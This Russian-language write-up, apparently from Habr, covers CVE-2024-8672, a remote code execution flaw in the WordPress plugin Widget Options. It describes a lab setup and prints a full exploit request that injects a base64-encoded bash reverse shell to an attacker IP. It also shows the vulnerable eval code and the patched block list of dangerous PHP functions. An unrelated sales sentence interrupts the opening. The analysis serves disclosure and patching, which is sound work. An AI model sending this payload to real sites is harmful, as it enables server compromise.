Remote Code Execution в Widget Options (WordPress Plugin) — CVE-2024-8672

Моя цель - предложение широкого ассортимента товаров и услуг на постоянно высоком качестве обслуживания по самым выгодным ценам.

Введение

28 ноября 2024 года в плагине Widget Options для WordPress, который установлен более чем на 100,000 сайтах, была выявлена критическая уязвимость с CVSS 9.9. Уязвимость позволяет выполнять удалённое исполнение вредоносного кода пользователю, имеющему права "Contributor" и выше. Уязвимости подвержены все версии плагина ниже 4.0.7 (включительно).

Подготовка стендового окружения

Для работы WordPress необходимо установить веб-сервер с поддержкой PHP, а также поднять MySQL. В качестве тестового окружения будет использоваться XAMPP.

Установка WordPress

Заходим на страницу загрузки WordPress и скачиваем последнюю версию:

Теперь нужно разархивировать WordPress и перенести его в корневой каталог веб-сервера (для XAMPP - /opt/lampp/htdocs):

cd ~/Downloads
unzip wordpress-6.6.2.zip
sudo mv wordpress /opt/lampp/htdocs/

Также нужно изменить владельца папки wordpress на пользователя веб-сервера (в случае с XAMPP - daemon):

sudo chown -R daemon:daemon /opt/lampp/htdocs

Дальнейшая установка происходит в GUI WordPress. Чтобы перейти к нему в браузере заходим на http://127.0.0.1/wordpress:

Здесь необходимо будет указать данные для подключения к MySQL (для XAMPP - имя пользователя root и пустой пароль), а также создать админского пользователя:

WordPress установлен, перейдём к установке уязвимого плагина. Скачать его можно с официального магазина плагинов WordPress:

После скачивания архива необходимо добавить плагин в разделе Plugins -> Installed Plugins:

Для корректной работы плагина необходимо создать пользователя с правами Contributor или выше. Это можно сделать в разделе Users:

Эксплуатация уязвимости

Для эксплуатации уязвимости требуется предварительное получение токена X-WP-Nonce для доступа к API. Токен можно получить, например, в процессе редактирования поста. Для этого необходимо войти в аккаунт пользователя с правами Contributor или выше, перейти в раздел Pages и создать новую страницу:

После этого открывается редактор новой страницы, который обращается к API WordPress, передавая заголовок X-WP-Nonce, который нам и нужен:

Теперь, для удалённого исполнения кода достаточно отправить GET или POST запрос:

GET /wordpress/wp-json/wp/v2/block-renderer/core/latest-comments?context=edit&attributes[commentsToShow]=5&attributes[displayAvatar]=true&attributes[displayDate]=true&attributes[displayExcerpt]=true&attributes[extended_widget_opts][class][logic]=system('echo%20YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xNzIuMjAuMTAuNy85MDkwIDA%2bJjE%3d%20%7c%20base64%20-d%20%7c%20bash')%3b&post_id=0&_locale=site HTTP/1.1
Host: 172.20.10.4
X-WP-Nonce: 9e522759e7
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
Cookie: wordpress_1b6551980342ecf58eebf5856affe450=giscyber%7C1734595337%7CF8sUnAXgLkDM8n7uBpdWopkriSjO1WFUnF91dG5D8rT%7C8fa7c9c6dcc8623f61635c8ada3264d95e587a7707d0e7b3c400e74863995bbe; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_1b6551980342ecf58eebf5856affe450=giscyber%7C1734595337%7CF8sUnAXgLkDM8n7uBpdWopkriSjO1WFUnF91dG5D8rT%7C4588a3ce29d09a5b7e7ddf6db7e3abe10380154abd51cdd4db3e31b16a4e13c2; wp-settings-time-3=1734422641

Здесь параметр GET attributes[extended_widget_opts][class][logic] передается в функцию PHP eval, которая выполняет переданный ей аргумент как код PHP. При этом значение данного параметра содержит вызов функции system, что позволяет исполнять переданный аргумент как команду в терминале операционной системы сервера.

Таким образом, в терминал операционной системы сервера передается команда echo YmFzaCAtaSA JiAvZGV2L3RjcC8xNzIuMjAuMTAuNy85MDkwIDAJjE= | base64 -d | bash, которая представляет собой инструкцию для отправки обратного шелла (или reverse shell) на атакующую машину. Эта команда декодирует закодированную строку с помощью base64 и передает результат в интерпретатор bash, что позволяет получить удаленный доступ к системе и выполнять произвольные команды.

Reverse shell — это метод удаленного доступа, при котором целевая машина устанавливает соединение с атакующей машиной, позволяя выполнять команды на целевой системе. В отличие от обычного шелла, где атакующий инициирует соединение, в reverse shell инициатором является жертва, что помогает обойти некоторые меры безопасности, такие как брандмауэры.

Причины уязвимости

Причина уязвимости тривиальна: разработчики передают GET-параметр в функцию eval без каких-либо проверок или валидации. Ниже представлен код функции, в которую передается уязвимый GET-параметр до устранения данной уязвимости:

function widgetopts_safe_eval($expression)
{
    ob_start();
    try {
        $result = (bool) eval("return $expression;");
    } catch (Throwable $e) {
        return false;
    }
    ob_end_clean();

    return $result;
}

Как видно, к выражению не применяются никакие фильтры, и оно сразу передается в функцию eval. После исправления разработчик внедрил фильтрацию потенциально опасных функций PHP, в результате чего функция была модифицирована следующим образом:

function widgetopts_safe_eval($expression)
{
    // List of potentially harmful patterns
    $dangerous_patterns = [
        // Database-related keywords
        '/\binsert\b/i',
        '/\bupdate\b/i',
        '/\bdelete\b/i',
        '/\breplace\b/i',
        '/\bselect\b/i',
        '/\bdrop\b/i',
        '/\balter\b/i',

        // WordPress-specific database functions
        '/\bwp_insert_post\b/i',
        '/\bwp_update_post\b/i',
        '/\bwp_delete_post\b/i',
        '/\bwp_insert_user\b/i',
        '/\bwp_update_user\b/i',
        '/\bwp_delete_user\b/i',
        '/\badd_option\b/i',
        '/\bupdate_option\b/i',
        '/\bdelete_option\b/i',
        '/\bwpdb\b/i',

        // JavaScript, CSS, and HTML
        '/<script\b[^>]*>(.*?)<\/script>/i',
        '/<style\b[^>]*>(.*?)<\/style>/i',

        // PHP file manipulation functions
        '/\bfile_put_contents\b/i',
        '/\bfile_get_contents\b/i',
        '/\bfopen\b/i',
        '/\bfwrite\b/i',
        '/\bunlink\b/i',
        '/\brename\b/i',
        '/\bchmod\b/i',
        '/\bchown\b/i',
        '/\bcopy\b/i',
        '/\bscandir\b/i',

        // External connections
        '/\bwp_remote_get\b/i',
        '/\bwp_remote_post\b/i',
        '/\bcurl_init\b/i',
        '/\bstream_context_create\b/i',

        // Reflection and dynamic variable/function manipulation
        '/\bReflectionClass\b/i',
        '/\bReflectionMethod\b/i',
        '/\bReflectionProperty\b/i',
        '/\bcall_user_func\b/i',
        '/\bcall_user_func_array\b/i',
        '/\bextract\b/i',
        '/\bparse_str\b/i',

        // System commands
        '/\beval\b/i',
        '/\bsystem\b/i',
        '/\bshell_exec\b/i',
        '/\bexec\b/i',
        '/\bpassthru\b/i',
        '/\bpopen\b/i'
    ];

    $return = true;
    // Pattern matching
    foreach ($dangerous_patterns as $pattern) {
        if (preg_match($pattern, $expression)) {
            $return = false;
            break;
        }
    }

    if ($return === false) {
        return $return;
    }

    if (stristr($expression, "return") === false) {
        $expression = "return (" . $expression . ");";
    }

    ob_start();
    try {
        $result = (bool) (@eval($expression));
    } catch (\Exception $e) {
        $result = false;
    } catch (\Error $e) {
        $result = false;
    } catch (\ParseError $e) {
        $result = false;
    } catch (\Throwable $e) {
        $result = false;
    }
    ob_end_clean();

    return $result;
}

Стоит отметить, что примененный в решении разработчика подход "черного списка" является менее безопасным по сравнению с подходом "белого списка". Более надежным вариантом было бы составить список разрешенных функций, а не список запрещенных, что значительно снизило бы риск эксплуатации уязвимостей и повысило бы общую безопасность приложения.

Заключение

В заключение, уязвимость CVE-2024-8672, обладающая высоким уровнем критичности с оценкой CVSS 9.9, представляет серьезную угрозу для безопасности приложений, позволяя пользователям с правами Contributor и выше выполнять удаленное исполнение кода на сервере. Это может привести к компрометации данных и нарушению работы системы. В связи с этим, настоятельно рекомендуется всем пользователям обновить плагин до последней версии (на момент написания статьи - 4.0.8), в которой данная уязвимость была устранена.

Подписывайтесь на наш Telegram-канал https://t.me/giscyberteam

Источник: https://habr.com/ru/articles/867684/


Интересные статьи

Интересные статьи

Евгений Петриченко пришел в Битрикс24 студентом. За 16 лет в компании он прошел путь от специалиста техподдержки до эксперта по мобильной разработке. И ни разу не думал сменить место работы.  ...
Компания “Волжское пароходство” —  это больше 3 тысяч сотрудников, часть из которых используют Битрикс24 во время перевозок. По пути следования судна интернет не везде стабильный, поэтому нужен б...
Cобрала ссылки на ресурсы Harvard, Yale, Stanford, Washington Universities по оформлению резюме под американские и международные вакансии. Подходит для удаленных вакансий, проверено на собственной шк...
Майкл Сибель — сооснователь (в 25 лет) стартапов Justin.tv/Twitch (капитализация $15 млрд) и Socialcam, член правления Reddit. Основатели меня часто спрашивают, как рассылать элект...
Недавно на проекте интегрировал модуль CRM Битрикса c виртуальной АТС Ростелеком. Делал по стандартной инструкции, где пошагово показано, какие поля заполнять. Оказалось, следование ей не гаран...